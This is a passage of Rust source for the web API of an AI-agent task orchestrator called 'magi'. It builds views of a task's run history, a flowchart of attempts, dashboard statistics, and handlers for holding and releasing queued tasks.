4370/// `GET /api/queue/{id}` - one task with every attempt it went through.
4371#[derive(Debug, Serialize)]
4372struct TaskDetailView {
4373    #[serde(flatten)]
4374    task: TaskView,
4375    /// The attempt budget `magi serve` / `magi web` start a loop with unless
4376    /// told otherwise; the loop's own flag is not visible from here.
4377    max_attempts: usize,
4378    history: Vec<TaskRunView>,
4379    flow: FlowView,
4380    /// Set for a follow-up task; see [`followup_origin`].
4381    followup_origin: Option<FollowUpOrigin>,
4382    /// How many entries of `history` could not be read.
4383    runs_unreadable: usize,
4384    /// Why the attempt count can be lower than the number of runs.
4385    attempts_note: &'static str,
4386}
4387
4388const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
4389and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
4390on an agent rate limit or was parked for an upgrade. A resumed run still counts as an attempt (it appears again \
4391in the list), so the runs listed can outnumber the attempts shown only after a release or a handed-back attempt.";
4392
4393/// The branch a review-only run reopened, read off the instruction
4394/// `Runner::open_review` writes.
4395fn review_branch_of(instruction: &str) -> Option<&str> {
4396    let rest = instruction.strip_prefix("Review the work already on branch `")?;
4397    rest.split('`').next().filter(|b| !b.is_empty())
4398}
4399
4400/// Where an entry sits in a task's run list.
4401struct RunSlot<'a> {
4402    /// 1-based position.
4403    n: usize,
4404    /// The same run id appeared earlier: this pass resumed it.
4405    resumed: bool,
4406    /// Position of a later pass over the same run id, if any.
4407    resumed_later: Option<usize>,
4408    /// The previous distinct run and how it ended, for the retry note.
4409    prior: Option<(&'a str, RunStatus)>,
4410    last: bool,
4411}
4412
4413/// Describe one entry of a task's run list. Pure: everything it needs is on
4414/// the run and the task, so it is asserted without a server.
4415fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
4416    let RunSlot {
4417        n,
4418        resumed,
4419        resumed_later,
4420        prior,
4421        last,
4422    } = at;
4423    let short = run::short_of(id).to_owned();
4424    let Some(s) = state else {
4425        return TaskRunView {
4426            n,
4427            id: id.to_owned(),
4428            short,
4429            kind: "unknown",
4430            status: None,
4431            readable: false,
4432            provisional: false,
4433            description:
4434                "This run's record could not be read by this build (written by a different \
4435                          magi, or removed), so what kind of attempt it was is unknown."
4436                    .to_owned(),
4437            outcome: String::new(),
4438            created_at: None,
4439            pr: None,
4440            exit: RunExit::Unreadable,
4441            attempt: AttemptCost::Unknown,
4442            branch: None,
4443        };
4444    };
4445    let branch = review_branch_of(&s.instruction);
4446    let kind = if resumed {
4447        "resume"
4448    } else if branch.is_some() {
4449        "review"
4450    } else if task.solo || s.candidates.len() == 1 {
4451        "solo"
4452    } else {
4453        "competition"
4454    };
4455    let mut description = match kind {
4456        "resume" => {
4457            format!("Resumed run {short}: the same run carried on instead of competing again.")
4458        }
4459        "review" => format!(
4460            "Review the work already on branch `{}`: a review-only pass, no new implementation.",
4461            branch.unwrap_or_default()
4462        ),
4463        "solo" => "Solo run: one implementer straight into review.".to_owned(),
4464        _ => format!(
4465            "Competition: {} candidates judged blind.",
4466            s.candidates.len().max(1)
4467        ),
4468    };
4469    if !resumed && let Some((p, st)) = prior {
4470        description.push_str(&format!(
4471            " A retry: run {p} before it ended {}.",
4472            st.display_label()
4473        ));
4474    }
4475
4476    let status = s.status;
4477    let provisional = matches!(status, RunStatus::Stalled)
4478        || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
4479    let head = if resumed_later.is_some() {
4480        String::new()
4481    } else {
4482        match status {
4483            RunStatus::Merged => "Merged.".to_owned(),
4484            RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
4485            RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
4486            RunStatus::AlreadyInBase => {
4487                "Already in the base: this change landed under other commits, nothing was left to land."
4488                    .to_owned()
4489            }
4490            RunStatus::Stalled => {
4491                "Stalled: the judging panel never reached a quorum, so there is no verdict."
4492                    .to_owned()
4493            }
4494            RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
4495            RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
4496            RunStatus::VerifiedNoop => {
4497                "Verified no-op: the candidates found nothing to change.".to_owned()
4498            }
4499            other if other.done() => format!("Ended {}.", other.display_label()),
4500            other => format!("In progress ({}).", other.display_label()),
4501        }
4502    };
4503    let why = if let Some(k) = resumed_later {
4504        // A run is only picked up again while it is unfinished, so an earlier
4505        // pass of a repeated id stopped short; the record keeps only the run's
4506        // latest status, which is left to the pass that carried it on.
4507        // Only the latest state is recorded: `parked` is cleared on resume
4508        // and `quota` accumulates across passes, so neither says why *this*
4509        // pass stopped, and the refund is as unknown as `AttemptCost` says.
4510        let cause = if s.quota.is_empty() {
4511            "the cause was not recorded: a park, a crash or a restart all look the same from here"
4512        } else {
4513            "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
4514        };
4515        format!(
4516            " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
4517        )
4518    } else if s.parked {
4519        " Parked by the operator at a node boundary; the attempt was handed back and the run resumes."
4520            .to_owned()
4521    } else if !status.done()
4522        || matches!(
4523            status,
4524            RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
4525        )
4526    {
4527        String::new()
4528    } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4529        || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4530    {
4531        " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
4532            .to_owned()
4533    } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4534        " It left a pull request open, so the task was held for a person rather than retried."
4535            .to_owned()
4536    } else if matches!(status, RunStatus::VerifiedNoop) {
4537        " Held for a person to check the claim.".to_owned()
4538    } else if last {
4539        " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
4540    } else {
4541        " It spent an attempt, and the task moved on to the next run.".to_owned()
4542    };
4543    let exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
4544    TaskRunView {
4545        n,
4546        id: id.to_owned(),
4547        short,
4548        kind,
4549        status: Some(status.as_str()),
4550        readable: true,
4551        provisional,
4552        description,
4553        outcome: format!("{head}{why}"),
4554        created_at: Some(s.created_at),
4555        pr: s.pr.as_ref().map(|p| p.url.clone()),
4556        exit,
4557        attempt: exit.cost(),
4558        branch: branch.map(str::to_owned),
4559    }
4560}
4561
4562/// One box of the task's flowchart.
4563#[derive(Debug, Serialize, PartialEq)]
4564struct FlowNode {
4565    /// Unique by position: a resumed run id appears once per pass.
4566    key: String,
4567    /// `chat`, `followup`, `start`, `run` or `end`.
4568    kind: &'static str,
4569    label: String,
4570    /// Run status (or the task's, for `end`); `None` when it is not a fact
4571    /// about this box (unreadable, or a pass the run later resumed from).
4572    status: Option<&'static str>,
4573    /// Whose status `status` is, so the client picks the right colour table:
4574    /// `task` (the `followup` parent and `end`) or `run`.
4575    status_of: &'static str,
4576    /// Why there is no status: `unreadable`, `interrupted` or `no verdict`.
4577    note: Option<&'static str>,
4578    run_kind: Option<&'static str>,
4579    detail: Option<String>,
4580    /// A readable run with a real verdict; a stall never is.
4581    decided: bool,
4582    readable: bool,
4583    href: Option<String>,
4584}
4585
4586#[derive(Debug, Serialize, PartialEq)]
4587struct FlowEdge {
4588    from: String,
4589    to: String,
4590    label: String,
4591    attempt: AttemptCost,
4592}
4593
4594#[derive(Debug, Serialize, PartialEq)]
4595struct FlowView {
4596    nodes: Vec<FlowNode>,
4597    edges: Vec<FlowEdge>,
4598    /// Attempts the task has counted since it was last released.
4599    attempts: usize,
4600    max_attempts: usize,
4601}
4602
4603/// Turn a task and its described runs into the flowchart's boxes and arrows.
4604/// Pure: the page only draws what this returns.
4605///
4606/// A follow-up opens with its parent (or the merged run) unless the task's
4607/// *source* is itself a chat, in which case the chat stays first and the
4608/// follow-up node comes second. An inherited `Task::origin_chat` alone never
4609/// adds a chat node: `crate::followup` files with `node: "followup"`, so the
4610/// two normally do not coincide and the nearer origin wins.
4611fn task_flow(
4612    task: &Task,
4613    history: &[TaskRunView],
4614    max_attempts: usize,
4615    origin: Option<&FollowUpOrigin>,
4616) -> FlowView {
4617    let node = |key: &str, kind, label: String| FlowNode {
4618        key: key.to_owned(),
4619        kind,
4620        label,
4621        status: None,
4622        status_of: "run",
4623        note: None,
4624        run_kind: None,
4625        detail: None,
4626        decided: false,
4627        readable: true,
4628        href: None,
4629    };
4630    let mut nodes = Vec::new();
4631    let mut edges: Vec<FlowEdge> = Vec::new();
4632    // A task queued from a chat opens the flow with that conversation.
4633    if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
4634        let mut n = node(
4635            "chat",
4636            "chat",
4637            format!("Chat {}", crate::queue::short(&link.id)),
4638        );
4639        n.href = Some(link.href);
4640        nodes.push(n);
4641        edges.push(FlowEdge {
4642            from: "chat".to_owned(),
4643            to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
4644            label: "queued from chat".to_owned(),
4645            attempt: AttemptCost::None,
4646        });
4647    }
4648    if let Some(o) = origin {
4649        let mut n = match &o.parent {
4650            Some(p) => {
4651                let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
4652                n.status = Some(p.status);
4653                n.status_of = "task";
4654                n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
4655                n.href = Some(p.href.clone());
4656                n
4657            }
4658            None => {
4659                let mut n = node(
4660                    "origin",
4661                    "followup",
4662                    format!("Follow-up of run {}", o.run.short),
4663                );
4664                n.detail = Some("merged run".to_owned());
4665                n.status = o.run.status;
4666                n.href = o.run.href.clone();
4667                if o.run.href.is_none() {
4668                    n.readable = false;
4669                    n.note = Some("unreadable");
4670                }
4671                n
4672            }
4673        };
4674        n.decided = true;
4675        let from = n.key.clone();
4676        nodes.push(n);
4677        let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
4678        let more = o.findings.len().saturating_sub(shown.len());
4679        let label = match (shown.is_empty(), more) {
4680            (true, _) => "open findings".to_owned(),
4681            (false, 0) => format!("open findings {}", shown.join(", ")),
4682            (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
4683        };
4684        edges.push(FlowEdge {
4685            from,
4686            to: "start".to_owned(),
4687            label,
4688            attempt: AttemptCost::None,
4689        });
4690    }
4691    nodes.push(node("start", "start", "Task queued".to_owned()));
4692    let mut prev = "start".to_owned();
4693    let mut prev_exit: Option<(RunExit, Option<&str>)> = None;
4694    for (i, h) in history.iter().enumerate() {
4695        let key = format!("run-{}", h.n);
4696        let mut n = node(&key, "run", format!("Run {}", h.short));
4697        n.run_kind = Some(h.kind);
4698        n.readable = h.readable;
4699        n.href = Some(format!("#/runs/{}", h.id));
4700        n.decided = h.readable && !h.provisional;
4701        n.detail = h
4702            .branch
4703            .as_ref()
4704            .map(|b| format!("review-only run of branch {b}"));
4705        match h.exit {
4706            RunExit::Unreadable => n.note = Some("unreadable"),
4707            RunExit::Interrupted => n.note = Some("interrupted"),
4708            _ => {
4709                n.status = h.status;
4710                if h.provisional {
4711                    n.note = Some("no verdict");
4712                }
4713            }
4714        }
4715        let into = match h.kind {
4716            "review" => Some(format!(
4717                "review-only run of branch {}",
4718                h.branch.as_deref().unwrap_or("?")
4719            )),
4720            "resume" => Some("resume the same run".to_owned()),
4721            _ if i > 0 => Some("retry".to_owned()),
4722            _ => None,
4723        };
4724        let label = match (prev_exit, into) {
4725            (Some((e, st)), Some(i)) => format!("{} \u{2192} {i}", e.edge_label(st)),
4726            (Some((e, st)), None) => e.edge_label(st),
4727            (None, Some(i)) => i,
4728            (None, None) => "claimed".to_owned(),
4729        };
4730        edges.push(FlowEdge {
4731            from: prev.clone(),
4732            to: key.clone(),
4733            label,
4734            attempt: prev_exit.map_or(AttemptCost::None, |(e, _)| e.cost()),
4735        });
4736        prev_exit = Some((h.exit, h.status));
4737        prev = key;
4738        nodes.push(n);
4739    }
4740    let mut end = node("end", "end", task.status.as_str().to_owned());
4741    end.status = Some(task.status.as_str());
4742    end.status_of = "task";
4743    nodes.push(end);
4744    let (label, attempt) = match prev_exit {
4745        None => (
4746            format!("no run yet \u{2192} {}", task.status.as_str()),
4747            AttemptCost::None,
4748        ),
4749        Some((e, st)) if e.explains(task.status) => (
4750            format!("{} \u{2192} {}", e.edge_label(st), task.status.as_str()),
4751            e.cost(),
4752        ),
4753        Some((e, _)) => (
4754            format!("closed by hand: task is {}", task.status.as_str()),
4755            e.cost(),
4756        ),
4757    };
4758    edges.push(FlowEdge {
4759        from: prev,
4760        to: "end".to_owned(),
4761        label,
4762        attempt,
4763    });
4764    FlowView {
4765        nodes,
4766        edges,
4767        attempts: task.attempts,
4768        max_attempts,
4769    }
4770}
4771
4772/// Describe every entry of `task.runs`, in order, reading each run's record
4773/// through `read`.
4774fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
4775    let mut history = Vec::with_capacity(task.runs.len());
4776    let mut seen: Vec<&str> = Vec::new();
4777    let mut prior: Option<(&str, RunStatus)> = None;
4778    for (i, run_id) in task.runs.iter().enumerate() {
4779        let state = read(run_id);
4780        let resumed = seen.contains(&run_id.as_str());
4781        seen.push(run_id);
4782        history.push(task_run_view(
4783            run_id,
4784            state.as_ref(),
4785            RunSlot {
4786                n: i + 1,
4787                resumed,
4788                resumed_later: task.runs[i + 1..]
4789                    .iter()
4790                    .position(|r| r == run_id)
4791                    .map(|off| i + off + 2),
4792                prior,
4793                last: i + 1 == task.runs.len(),
4794            },
4795            task,
4796        ));
4797        if let Some(s) = &state {
4798            prior = Some((run::short_of(run_id), s.status));
4799        }
4800    }
4801    history
4802}
4803
4804async fn task_detail(
4805    State(ui): State<Arc<Ui>>,
4806    Path(id): Path<String>,
4807) -> ApiResult<Json<TaskDetailView>> {
4808    blocking(move || {
4809        let id = resolve_task(&ui.queue, &id)?;
4810        let task = ui
4811            .queue
4812            .get(&id)
4813            .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
4814        let inv = crate::blockers::Inventory::new(ui.queue.list(), &ui.questions.list());
4815        let history = task_history(&task, |id| read_run(&ui.runs, id).ok());
4816        let runs_unreadable = history.iter().filter(|h| !h.readable).count();
4817        let max_attempts = daemon::Opts::default().max_attempts;
4818        let origin = task.followup.as_ref().map(|fu| {
4819            followup_origin(
4820                fu,
4821                |tid| ui.queue.get(tid).ok(),
4822                |rid| read_run(&ui.runs, rid).ok(),
4823            )
4824        });
4825        let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
4826        Ok(Json(TaskDetailView {
4827            max_attempts,
4828            flow,
4829            followup_origin: origin,
4830            history,
4831            runs_unreadable,
4832            attempts_note: ATTEMPTS_NOTE,
4833            task: TaskView::with_inventory(task, &inv),
4834        }))
4835    })
4836    .await
4837}
4838
4839/// A rate together with its denominator, so the client can tell "computed as
4840/// 0%" apart from "no data to compute it from" — both would otherwise
4841/// serialize as `0.0`. `None` means the denominator was zero.
4842#[derive(Debug, Serialize)]
4843struct RateView {
4844    pct: f64,
4845    denominator: usize,
4846}
4847
4848impl RateView {
4849    fn of(numerator: usize, denominator: usize) -> Option<Self> {
4850        (denominator > 0).then(|| Self {
4851            pct: 100.0 * numerator as f64 / denominator as f64,
4852            denominator,
4853        })
4854    }
4855}
4856
4857/// [`crate::stats::Totals`] for the wire: the raw counters plus the derived
4858/// rates, each paired with its own denominator via [`RateView`] rather than
4859/// exposing `Stats`' own percentage methods directly — see this module's
4860/// doc for why `Stats` itself is never serialized.
4861#[derive(Debug, Serialize)]
4862struct StatsTotalsView {
4863    runs: usize,
4864    merged: usize,
4865    ready: usize,
4866    blocked: usize,
4867    failed: usize,
4868    stalled: usize,
4869    verified_noop: usize,
4870    superseded: usize,
4871    in_progress: usize,
4872    completion_rate: Option<RateView>,
4873    tallied: usize,
4874    split: usize,
4875    split_rate: Option<RateView>,
4876    deliberated: usize,
4877    minds_changed: usize,
4878    converged: usize,
4879    review_rounds: usize,
4880}
4881
4882impl From<&stats::Totals> for StatsTotalsView {
4883    fn from(t: &stats::Totals) -> Self {
4884        Self {
4885            runs: t.runs,
4886            merged: t.merged,
4887            ready: t.ready,
4888            blocked: t.blocked,
4889            failed: t.failed,
4890            stalled: t.stalled,
4891            verified_noop: t.verified_noop,
4892            superseded: t.superseded,
4893            in_progress: t.in_progress,
4894            completion_rate: RateView::of(t.merged + t.ready, t.runs),
4895            tallied: t.tallied,
4896            split: t.split,
4897            split_rate: RateView::of(t.split, t.tallied),
4898            deliberated: t.deliberated,
4899            minds_changed: t.minds_changed,
4900            converged: t.converged,
4901            review_rounds: t.review_rounds,
4902        }
4903    }
4904}
4905
4906/// [`crate::stats::AgentStats`] for the wire.
4907#[derive(Debug, Serialize)]
4908struct AgentStatsView {
4909    agent: String,
4910    entered: usize,
4911    wins: usize,
4912    empty: usize,
4913    win_rate: Option<RateView>,
4914}
4915
4916impl From<&stats::AgentStats> for AgentStatsView {
4917    fn from(a: &stats::AgentStats) -> Self {
4918        Self {
4919            agent: a.agent.clone(),
4920            entered: a.entered,
4921            wins: a.wins,
4922            empty: a.empty,
4923            win_rate: RateView::of(a.wins, a.entered),
4924        }
4925    }
4926}
4927
4928/// [`crate::stats::ReviewerStats`] for the wire. `adopted_per_round` is a
4929/// ratio, not a percentage, so it carries no [`RateView`] — just the raw
4930/// value, `None` when `rounds` is zero.
4931#[derive(Debug, Serialize)]
4932struct ReviewerStatsView {
4933    agent: String,
4934    rounds: usize,
4935    seated: usize,
4936    submitted: usize,
4937    adopted: usize,
4938    unique: usize,
4939    timeouts: usize,
4940    adopted_per_round: Option<f64>,
4941    precision: Option<RateView>,
4942    unique_rate: Option<RateView>,
4943    timeout_rate: Option<RateView>,
4944}
4945
4946impl From<&stats::ReviewerStats> for ReviewerStatsView {
4947    fn from(r: &stats::ReviewerStats) -> Self {
4948        Self {
4949            agent: r.agent.clone(),
4950            rounds: r.rounds,
4951            seated: r.seated,
4952            submitted: r.submitted,
4953            adopted: r.adopted,
4954            unique: r.unique,
4955            timeouts: r.timeouts,
4956            adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
4957            precision: RateView::of(r.adopted, r.submitted),
4958            unique_rate: RateView::of(r.unique, r.submitted),
4959            timeout_rate: RateView::of(r.timeouts, r.seated),
4960        }
4961    }
4962}
4963
4964/// [`crate::stats::AdvisorStats`] for the wire.
4965///
4966/// `reflection_rate` is approximate by construction — see
4967/// [`crate::stats::AdvisorStats`]'s own doc — and the UI note that carries
4968/// that caveat is static text in `index.html`, not a field here.
4969#[derive(Debug, Serialize)]
4970struct AdvisorStatsView {
4971    agent: String,
4972    seated: usize,
4973    proposed: usize,
4974    absent: usize,
4975    faint: usize,
4976    strong: usize,
4977    reflection_rate: Option<RateView>,
4978}
4979
4980impl From<&stats::AdvisorStats> for AdvisorStatsView {
4981    fn from(a: &stats::AdvisorStats) -> Self {
4982        Self {
4983            agent: a.agent.clone(),
4984            seated: a.seated,
4985            proposed: a.proposed,
4986            absent: a.absent,
4987            faint: a.faint,
4988            strong: a.strong,
4989            reflection_rate: RateView::of(a.strong, a.proposed),
4990        }
4991    }
4992}
4993
4994/// [`crate::stats::E2eStats`] for the wire.
4995#[derive(Debug, Serialize)]
4996struct E2eStatsView {
4997    rounds: usize,
4998    failures: usize,
4999    sole_detections: usize,
5000    deferred: usize,
5001    sole_rate: Option<RateView>,
5002}
5003
5004impl From<&stats::E2eStats> for E2eStatsView {
5005    fn from(e: &stats::E2eStats) -> Self {
5006        Self {
5007            rounds: e.rounds,
5008            failures: e.failures,
5009            sole_detections: e.sole_detections,
5010            deferred: e.deferred,
5011            sole_rate: RateView::of(e.sole_detections, e.failures),
5012        }
5013    }
5014}
5015
5016/// [`crate::stats::ReleaseBumpStats`] for the wire.
5017///
5018/// `clean` is sent as a raw count, computed the same way
5019/// [`stats::ReleaseBumpStats::clean`] computes it (`recorded -
5020/// needs_attention`) — never derived client-side from `automerge_enabled`,
5021/// which would misclassify a `merged_directly` bump (automerge rejected, but
5022/// magi merged it directly, so no human involvement) as needing attention.
5023#[derive(Debug, Serialize)]
5024struct ReleaseBumpStatsView {
5025    merged: usize,
5026    recorded: usize,
5027    pr_opened: usize,
5028    automerge_enabled: usize,
5029    merged_directly: usize,
5030    needs_attention: usize,
5031    clean: usize,
5032    coverage_rate: Option<RateView>,
5033    automerge_rate: Option<RateView>,
5034    attention_rate: Option<RateView>,
5035}
5036
5037impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
5038    fn from(b: &stats::ReleaseBumpStats) -> Self {
5039        Self {
5040            merged: b.merged,
5041            recorded: b.recorded,
5042            pr_opened: b.pr_opened,
5043            automerge_enabled: b.automerge_enabled,
5044            merged_directly: b.merged_directly,
5045            needs_attention: b.needs_attention,
5046            clean: b.clean(),
5047            coverage_rate: RateView::of(b.recorded, b.merged),
5048            automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
5049            attention_rate: RateView::of(b.needs_attention, b.recorded),
5050        }
5051    }
5052}
5053
5054/// [`crate::queue::TaskCounts`] for the wire.
5055#[derive(Debug, Serialize)]
5056struct TaskCountsView {
5057    queued: usize,
5058    running: usize,
5059    done: usize,
5060    failed: usize,
5061    held: usize,
5062    blocked: usize,
5063    parked: usize,
5064}
5065
5066impl From<crate::queue::TaskCounts> for TaskCountsView {
5067    fn from(c: crate::queue::TaskCounts) -> Self {
5068        Self {
5069            queued: c.queued,
5070            running: c.running,
5071            done: c.done,
5072            failed: c.failed,
5073            held: c.held,
5074            blocked: c.blocked,
5075            parked: c.parked,
5076        }
5077    }
5078}
5079
5080/// [`crate::stats::RepoStats`] for the wire, one row per repository with
5081/// runs recorded — the summary the UI's repository selector is built from.
5082/// Carries no nested `Stats`: picking a repo means re-fetching
5083/// `GET /api/stats?repo=<repo>`, which reuses this same route's own
5084/// aggregation rather than duplicating it.
5085#[derive(Debug, Serialize)]
5086struct RepoSummaryView {
5087    /// `RunState.repo` exactly as recorded — the value `?repo=` matches
5088    /// against, full path and all (see [`stats_get`]'s own doc for why).
5089    repo: String,
5090    /// Display name only; never used for matching.
5091    name: String,
5092    runs: usize,
5093    completion_rate: Option<RateView>,
5094}
5095
5096impl From<&stats::RepoStats> for RepoSummaryView {
5097    fn from(r: &stats::RepoStats) -> Self {
5098        let t = &r.stats.totals;
5099        Self {
5100            repo: r.repo.to_string_lossy().into_owned(),
5101            name: r.name.clone(),
5102            runs: t.runs,
5103            completion_rate: RateView::of(t.merged + t.ready, t.runs),
5104        }
5105    }
5106}
5107
5108/// `GET /api/stats` - the whole answer. `Stats` itself carries no
5109/// `Serialize`, deliberately: its fields (and the CLI text `report::stats`
5110/// renders from them) are free to grow without that becoming a wire-contract
5111/// change, and its zero-denominator rate methods (`0.0`) cannot tell "no
5112/// data" from "computed and it really is zero" the way [`RateView`] does.
5113#[derive(Debug, Serialize)]
5114struct StatsView {
5115    totals: StatsTotalsView,
5116    /// Best win rate first, as [`stats::collect`] already sorts it.
5117    agents: Vec<AgentStatsView>,
5118    /// Most adopted-per-round first, as [`stats::collect`] already sorts it.
5119    reviewers: Vec<ReviewerStatsView>,
5120    /// Highest reflection rate first, as [`stats::collect`] already sorts it.
5121    advisors: Vec<AdvisorStatsView>,
5122    e2e: E2eStatsView,
5123    release_bumps: ReleaseBumpStatsView,
5124    queue: TaskCountsView,
5125    /// Same count and same meaning as [`HealthView::runs_unreadable`] - see
5126    /// that field's doc. Asserted to match it in
5127    /// `stats_runs_unreadable_matches_health`.
5128    ///
5129    /// Always the whole-workload count, even when `repo` narrows every other
5130    /// field to one repository - an unreadable `run.json` carries no `repo`
5131    /// a per-repository count could attribute it to, and the queue/health
5132    /// views this mirrors never scope it either. The UI must not present it
5133    /// as if it were scoped to the selected repository.
5134    runs_unreadable: usize,
5135    /// Every repository with runs recorded, most runs first - what the UI's
5136    /// repository selector is built from. Always the full list regardless of
5137    /// `repo`, so switching repositories never needs a second request.
5138    repos: Vec<RepoSummaryView>,
5139    /// Runs per local day over the last 30 days, oldest first, always 30
5140    /// entries. Days are the *server's* local dates (the UI must not convert
5141    /// them again), cut by run creation and classified by current status.
5142    /// Narrowed by `repo` like every other run-derived field.
5143    daily: Vec<DailyStatsView>,
5144    /// The `?repo=` value this response was narrowed to, echoed back so the
5145    /// UI can confirm its selection round-tripped. `None` for the aggregate,
5146    /// all-repositories view.
5147    repo: Option<String>,
5148    /// Agent ids left out of `agents` / `reviewers` / `advisors` because the
5149    /// current config roster no longer lists them. Empty with `?all=true`, an
5150    /// unreadable config, or when nothing was retired.
5151    retired_hidden: Vec<String>,
5152}
5153
5154/// One day of [`StatsView::daily`].
5155#[derive(Debug, Serialize)]
5156struct DailyStatsView {
5157    /// `YYYY-MM-DD`, server-local.
5158    date: String,
5159    runs: usize,
5160    merged: usize,
5161    ready: usize,
5162    other: usize,
5163    /// `None` on a day with no runs, so it never reads as 0%.
5164    completion_rate: Option<RateView>,
5165}
5166
5167impl From<&stats::DayBucket> for DailyStatsView {
5168    fn from(b: &stats::DayBucket) -> Self {
5169        Self {
5170            date: b.date.to_string(),
5171            runs: b.runs,
5172            merged: b.merged,
5173            ready: b.ready,
5174            other: b.other,
5175            completion_rate: RateView::of(b.merged + b.ready, b.runs),
5176        }
5177    }
5178}
5179
5180/// How many days [`StatsView::daily`] covers.
5181const STATS_DAILY_DAYS: usize = 30;
5182
5183/// `?repo=<path>` narrows `GET /api/stats` to the runs recorded against one
5184/// repository. Matched by full-path equality against `RunState.repo` only
5185/// (see [`stats::filter_repo`]) - never resolved by name the way the CLI's
5186/// `--repo` is, because the value here always came from this same route's
5187/// own `repos` list in an earlier response, never typed by a human. A value
5188/// matching no run is a 404, not an empty aggregate: the caller asked for a
5189/// specific, named repository, and silently returning zeroes would look
5190/// exactly like a repository that has runs but none of interest.
5191#[derive(Debug, Default, Deserialize)]
5192#[serde(default)]
5193struct StatsQuery {
5194    repo: Option<String>,
5195    /// `?all=true` keeps agents that are no longer in the roster.
5196    all: bool,
5197}
5198
5199/// `GET /api/stats` - task and run statistics for the dashboard, aggregated
5200/// by [`stats::collect`] (or [`stats::collect_refs`] over one repository's
5201/// runs when `?repo=` narrows it), the same counting logic `magi stats`
5202/// prints from. Reads every readable run on disk, exactly as
5203/// [`runs_unreadable`] does, so the two counts can never drift apart the way
5204/// a separately-maintained tally could.
5205async fn stats_get(
5206    State(ui): State<Arc<Ui>>,
5207    Query(q): Query<StatsQuery>,
5208) -> ApiResult<Json<StatsView>> {
5209    blocking(move || {
5210        let states: Vec<RunState> = run_ids(&ui.runs)
5211            .into_iter()
5212            .filter_map(|id| read_run(&ui.runs, &id).ok())
5213            .collect();
5214        let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
5215            .iter()
5216            .map(RepoSummaryView::from)
5217            .collect();
5218        let mut scoped: Vec<&RunState> = states.iter().collect();
5219        let mut collected = match &q.repo {
5220            Some(repo) => {
5221                let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
5222                if filtered.is_empty() {
5223                    return Err(ApiError::not_found(format!(
5224                        "no runs recorded against repo `{repo}`"
5225                    )));
5226                }
5227                scoped = filtered.clone();
5228                stats::collect_refs(filtered)
5229            }
5230            None => stats::collect(&states),
5231        };
5232        if !q.all {
5233            let repo = q
5234                .repo
5235                .as_deref()
5236                .map_or_else(|| ui.repo.clone(), PathBuf::from);
5237            stats::retain_current_roster(&mut collected, &repo);
5238        }
5239        let daily = stats::daily(
5240            scoped,
5241            jiff::Zoned::now().date(),
5242            &jiff::tz::TimeZone::system(),
5243            STATS_DAILY_DAYS,
5244        );
5245        let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
5246        Ok(Json(StatsView {
5247            totals: StatsTotalsView::from(&collected.totals),
5248            agents: collected.agents.iter().map(AgentStatsView::from).collect(),
5249            reviewers: collected
5250                .reviewers
5251                .iter()
5252                .map(ReviewerStatsView::from)
5253                .collect(),
5254            advisors: collected
5255                .advisors
5256                .iter()
5257                .map(AdvisorStatsView::from)
5258                .collect(),
5259            e2e: E2eStatsView::from(&collected.e2e),
5260            release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
5261            queue: TaskCountsView::from(queue_counts),
5262            runs_unreadable: runs_unreadable(&ui.runs),
5263            repos,
5264            daily: daily.iter().map(DailyStatsView::from).collect(),
5265            repo: q.repo.clone(),
5266            retired_hidden: collected.retired_hidden.clone(),
5267        }))
5268    })
5269    .await
5270}
5271
5272/// The body of `POST /api/queue/{id}/hold`, sent empty when the operator
5273/// gives no reason - which must keep working, since not every hold has one.
5274#[derive(Debug, Default, Deserialize)]
5275#[serde(default, deny_unknown_fields)]
5276struct HoldBody {
5277    reason: Option<String>,
5278}
5279
5280async fn queue_hold(
5281    State(ui): State<Arc<Ui>>,
5282    Path(id): Path<String>,
5283    body: std::result::Result<Json<HoldBody>, JsonRejection>,
5284) -> ApiResult<Json<TaskView>> {
5285    // An absent body is the ordinary case - most holds are unexplained, and
5286    // that has to stay a one-tap action rather than a form. A body that is
5287    // present and malformed is still a bad request.
5288    let body = match body {
5289        Ok(Json(body)) => body,
5290        Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
5291        Err(e) => return Err(ApiError::bad_request(e.body_text())),
5292    };
5293    let reason = body.reason.filter(|r| !r.trim().is_empty());
5294    mutate(ui, id, move |t| {
5295        t.hold_manual(reason.clone());
5296        Ok(())
5297    })
5298    .await
5299}
5300
5301async fn queue_release(
5302    State(ui): State<Arc<Ui>>,
5303    Path(id): Path<String>,
5304) -> ApiResult<Json<TaskView>> {
5305    mutate(ui, id, |t| {
5306        t.release();
5307        Ok(())
5308    })
5309    .await
5310}
